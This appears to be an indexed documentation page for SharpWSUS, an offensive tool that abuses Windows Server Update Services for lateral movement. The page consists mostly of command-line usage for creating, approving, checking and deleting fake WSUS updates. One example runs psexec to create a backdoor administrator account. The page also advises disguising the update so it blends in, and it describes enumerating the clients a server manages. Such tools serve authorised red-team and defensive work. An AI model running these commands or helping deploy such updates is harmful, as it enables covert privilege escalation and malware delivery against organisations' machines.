DOCSEARCHbyAlgolia
Submit Docs

SharpWSUS

repository·main·Indexed 19 days ago

https://github.com/nettitude/sharpwsus

A C# tool for lateral movement that abuses Windows Server Update Services (WSUS). It enables users to locate and inspect WSUS servers, create malicious updates using Windows-signed binaries, approve updates for specific target computers or groups, verify update status, and perform cleanup by deleting updates and groups.

Tokens
3.2K
Snippets
15
Records
15
Agent score
66%

What's inside SharpWSUS

  1. Create a malicious WSUS update

    main

    Create a new update on the WSUS server.

    CRITICAL: The payload provided must be a Windows-signed binary (e.g., psexec.exe, msiexec.exe, or msbuild.exe) to ensure successful execution during lateral movement.

    While metadata like title, date, and description are optional, providing them is recommended to help the update blend into the environment.

    sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user phil Password123! /add && net localgroup administrators phil /add\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com"

  2. Locate and inspect the WSUS server

    main

    Use SharpWSUS to discover the WSUS server configuration and enumerate the existing environment (clients, servers, and groups).

    • Locate: Finds the WSUS server.
    • Inspect: Enumerates clients, servers, and existing groups on the WSUS server.
    # Locate the WSUS server
SharpWSUS.exe locate

# Inspect the WSUS server
SharpWSUS.exe inspect

  3. Delete a WSUS update and clean up

    main

    Remove an update and clean up any groups that were added during the process.

    sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"

  5. Approve a WSUS update for a target

    main

    Approve a specific update for a target computer or a group of computers.

    sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"

  6. Reference: SharpWSUS CLI Commands

    main

    The following commands are available for managing WSUS updates via SharpWSUS.

    Locate the WSUS server:
    SharpWSUS.exe locate

Inspect the WSUS server, enumerating clients, servers and existing groups:
    SharpWSUS.exe inspect

Create an update (NOTE: The payload has to be a windows signed binary):
    SharpWSUS.exe create /payload:[File location] /args:[Args for payload] </title:[Update title] /date:[YYYY-MM-DD] /kb:[KB on update] /rating:[Rating of update] /msrc:[MSRC] /description:[description] /url:[url]>

Approve an update:
    SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] </groupname:[Group for computer to be added too] /approver:[Name of approver]>

Check status of an update:
    SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN]

Delete update and clean up groups added:
    SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] </groupname:[GroupName] /keepgroup>

  7. Retrieve WSUS server details using Server.GetServerDetails()

    main

    The Server class provides a mechanism to automatically detect the configuration of a local Windows Server Update Services (WSUS) installation by querying the Windows Registry. Calling GetServerDetails() populates several static fields in the Server class with information about the OS, database, and content locations.

    // Automatically detects WSUS configuration and populates static fields
Server.GetServerDetails();

// Access the detected details
string os = Server.sOS;
string dbInstance = Server.sDatabaseInstance;
string dbName = Server.sDatabaseName;
string contentLocation = Server.sLocalContentCacheLocation;
string computerName = Server.sComputerName;
bool isSslEnabled = Server.bSSL;

  9. Server class static fields reference

    main

    After calling Server.GetServerDetails(), the following static fields contain the detected WSUS configuration data:

    public static bool bWSUSInstalled;      // True if WSUS was successfully detected
public static string sOS;                // Operating System product name
public static string sDatabaseInstance;   // SQL Server instance name
public static string sDatabaseName;      // Name of the WSUS database
public static string sLocalContentCacheLocation; // Path to the WSUS content directory
public static string sComputerName;       // The local computer's hostname
public static int iPortNumber;           // Port number (not explicitly set in GetServerDetails)
public static bool bSSL;                 // True if WSUS is configured to use SSL
public static string sTargetComputerID;  // Target Computer ID (for specific targeting)
public static int sTargetComputerTargetID; // Target Computer Target ID

  10. Create a new WSUS update with the 'create' command

    main

    The create command allows you to generate a new WSUS update by specifying a payload file and various metadata fields. This process involves generating new GUIDs for the update and bundle, caching the payload file, and performing several SQL operations to import the update into the WSUS database and prepare it for client deployment.

    Available Flags

    FlagDescriptionDefault Value
    /payloadPath to the payload file to be used in the update(Required)
    /argsArguments to pass with the payload""
    /titleThe title of the update"SharpWSUS Update"
    /dateThe date of the update"2021-09-26"
    /ratingThe importance rating of the update"Important"
    /msrcMSRC information""
    /kbKnowledge Base (KB) number"5006103"
    /descriptionA description of the update"Install this update to resolve issues in Windows."
    /urlThe download URL for the update"https://www.nettitude.com"

    Post-Creation Workflow

    Once an update is created, it is not automatically deployed. You must use the following commands to manage its lifecycle:

    1. Approve the update for deployment: SharpWSUS.exe approve /updateid:<BUNDLE_GUID> /computername:<Target.FQDN> /groupname:"<Group Name>"

    2. Check the status of the update: SharpWSUS.exe check /updateid:<BUNDLE_GUID> /computername:<Target.FQDN>

    3. Delete the update: SharpWSUS.exe delete /updateid:<BUNDLE_GUID> /computername:<Target.FQDN> /groupname:"<Group Name>"

    # Example usage:
SharpWSUS.exe create /payload:"C:\payloads\malware.exe" /title:"Security Patch" /kb:"1234567" /description:"Critical update"

  11. Use the inspect command to enumerate WSUS server details

    main

    The inspect command performs a comprehensive enumeration of the WSUS server environment. When executed, it retrieves and displays the following information:

    • Server Details: General configuration and metadata of the WSUS server.
    • WSUS Configuration: Specific SQL-based configuration settings.
    • Computers: A list of all client computers registered with the WSUS server.
    • Downstream Servers: Information regarding any downstream WSUS servers in the hierarchy.
    • Groups: The WSUS computer groups defined on the server.

    This command relies on an established SQL connection to the WSUS database.

    inspect

  12. Approve an update via the 'approve' command

    main

    The approve command is used to approve a specific WSUS update for a target computer or group. The command identifies the update via its ID and determines the target scope using either a specific computer name or a group name. If the specified group does not exist, the command will attempt to create it and add the target computer to that group before performing the approval.

    Arguments

    FlagDescription
    /updateidThe unique identifier of the update to be approved.
    /computernameThe name of the target computer to which the update will be approved.
    /groupnameThe name of the WSUS group to target. Defaults to InjectGroup if not provided.
    /approverThe name of the user or entity performing the approval. Defaults to WUS Server if not provided.
    # Example usage (conceptual):
# sharpwsus approve /updateid:12345 /computername:DESKTOP-01 /groupname:DevGroup /approver:AdminUser